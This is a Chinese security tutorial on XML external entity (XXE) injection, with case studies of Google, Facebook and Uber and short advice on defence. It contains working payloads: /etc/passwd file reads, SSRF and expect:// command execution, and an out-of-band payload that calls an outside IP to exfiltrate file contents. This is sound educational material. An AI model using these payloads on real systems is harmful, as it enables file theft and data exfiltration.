前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XML外部实体(XXE)注入原理解析及实战案例全汇总

XML外部实体(XXE)注入原理解析及实战案例全汇总

作者头像
Jayway
发布2019-09-29 17:25:47
12.8K0
发布2019-09-29 17:25:47
举报
文章被收录于专栏:卓文见识卓文见识卓文见识

1、基础知识

1)什么是xml

XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以为标记指定描述数据的名称。由于json的出现,xml的受欢迎程度大大下降。

XML文档结构包括XML声明+DTD文档类型定义+文档元素,例如:

其中<note>是根元素,所有XML文档必须包含一个根元素,根元素是所有其他元素的父元素。

2)什么是DTD

DTD(document type definition)文档类型定义用于定义XML文档的结构,它作为xml文件的一部分位于XML声明和文档元素之间,比如下面DTD

它就定义了 XML 的根元素必须是message,根元素下面有一些子元素,所以 XML必须像下面这么写:

其中,DTD需要在!DOCTYPE注释中定义根元素,而后在中括号的[]内使用!ELEMENT注释定义各元素特征。

3)什么是实体

再看下面一个DTD:

很容易理解,它规定了xml文件的根元素是foo,但ANY说明接受任何元素。重点是!ENTITY,这就是我们要提到的实体,实体本质是定义了一个变量,变量名xxe,值为“test”,后面在 XML 中通过 & 符号进行引用,所以根据DTD我们写出下面的xml文件:

因为ANY的属性,元素我们可以随意命令,但user值通过&xxe,实际值为test。

4)什么是外部实体

知道了什么是实体,再说说其实实体分为两种,内部实体和外部实体,上面的例子就是内部实体。XML外部实体是一种自定义实体,定义位于声明它们的DTD之外,声明使用SYSTEM关键字,比如加载实体值的URL:

这里URL可以使用file://协议,因此可以从文件加载外部实体。例如:

这也是产生XXE漏洞的原因。

2、XXE注入漏洞

1)漏洞概念

xml外部实体注入,全称为XML external entity injection,某些应用程序允许XML格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。

2)漏洞危害

XXE漏洞根据有无回显可分为有回显XXE和Blind XXE,具体危害主要有:

a.)检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。

b.)执行SSRF攻击,其中外部实体是基于后端系统的URL定义的,如:

<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >探测端口;

<!ENTITY xxe SYSTEM "expect://id" >执行命令;

c.)无回显读取本地敏感文件(Blind OOB XXE),敏感数据从应用服务器传输到攻击者的服务器上。

d.)通过Blind XXE错误消息检索数据是否存在,攻击者可以触发包含敏感数据的解析错误消息。

具体的攻击手段和场景在案例中说明。

3)挖掘思路

关注可能解析xml格式数据的功能处,较容易发现的是请求包参数包含XML格式数据,不容易发现的是文件上传及数据解析功能处,通过改请求方式、请求头Content-Type等方式进行挖掘,思路一般分三步:

  1. 检测XML是否会被成功解析以及是否支持DTD引用外部实体,有回显或者报错;;
  2. 需注意没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据
  3. 最后可以尝试XInclude,某些应用程序接收客户端提交的数据,将其嵌入到服务器端的XML文档中,然后解析文档,尝试payload:

<fooxmlns:xi=“http://www.w3.org/2001/XInclude”>

<xi:include parse =“text”href =“file:/// etc / passwd”/> </ foo>

3、实战案例

1)有回显读本地文件

利用XXE读/etc/passwd是最为人熟知也通常被用来作为POC的一种攻击效果,如Google 的工具栏按钮允许开发者定义它们自己的按钮,通过上传包含特定元数据的 XML 文件:

<?xml version="1.0"encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM"file:///etc/passwd"> ]>

<stockCheck><productId>&xxe;</productId></stockCheck>

通过上传带有 !ENTITY ,指向外部文件的 XML 文件,DTD中定义了xxe的外部实体,在元素productId中触发,并渲染了内容etc/passwd:

2)文件上传类Blind OOB XXE

这是关于XXE一个重要的测试技巧,在挖掘XXE漏洞过程中要留意接受.docx 、.xlsx和.pptx格式文件的上传,你可以尝试用winrar等解压文件打开一个excel文件,会发现它其实是个 XML 文件的压缩包,如Facebok的一个职位页面允许用户上传 .docx 文件,这里使用7zip打开一个docx文件,并在其中插入payload:

<!DOCTYPE root [

<!ENTITY % file SYSTEM"file:///etc/passwd">

<!ENTITY % dtd SYSTEM"http://197.37.102.90/ext.dtd">

%dtd;

%send;

]]>

服务器在解析这个docx文件的时候,如果受害者开启了外部实体,XML 解析器会调用远程主机,!ENTITY 定义中和下面使用了 % 。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后,远程服务器会发送回 DTD 文件:

对于这个OOB XXE漏洞bp有个插件Collaborator client可以帮助测试:

在解压后的xml文件中插入链接,重新压缩上传即可:

若接收到请求,则存在漏洞:

TIPS:关于上传漏洞还可以尝试上传SVG格式,SVG文件使用XML,可以提交恶意SVG图像,从而触及针对XXE漏洞的隐藏攻击面,如图片上传:

3) 修改content-type实现xxe

这也是一个实用的技巧,如Uber一处原始正常请求为:

GET/api/search/GeneralSearch HTTP/1.1

Host: ubermovement.com

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0;Windows NT 6.1; Win64; x64; Trident/5.0)

修改方法和Content-type:

服务器查看请求日志:

TIP:修改Content-type可以将JSON等格式转换为XML

4、漏洞防范

1)禁用外部实体

2)手动黑名单过滤

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

5、最后

XML主要的漏洞是XXE,但和它相关的漏洞不止这一个,比如:

1) XEE:XML Entity Expansion,主要试图通过消耗目标程序的服务器环境来进行DOS攻击;

2) XSLT:可扩展样式表转换漏洞,XSLT是XML的推荐样式表语言;

3) XPath注入漏洞,XPath用于浏览XML文档中的元素和属性,XSLT使用XPath来查找XML文档中的信息。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2、XXE注入漏洞
  • 3、实战案例
  • 4、漏洞防范
  • 5、最后
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档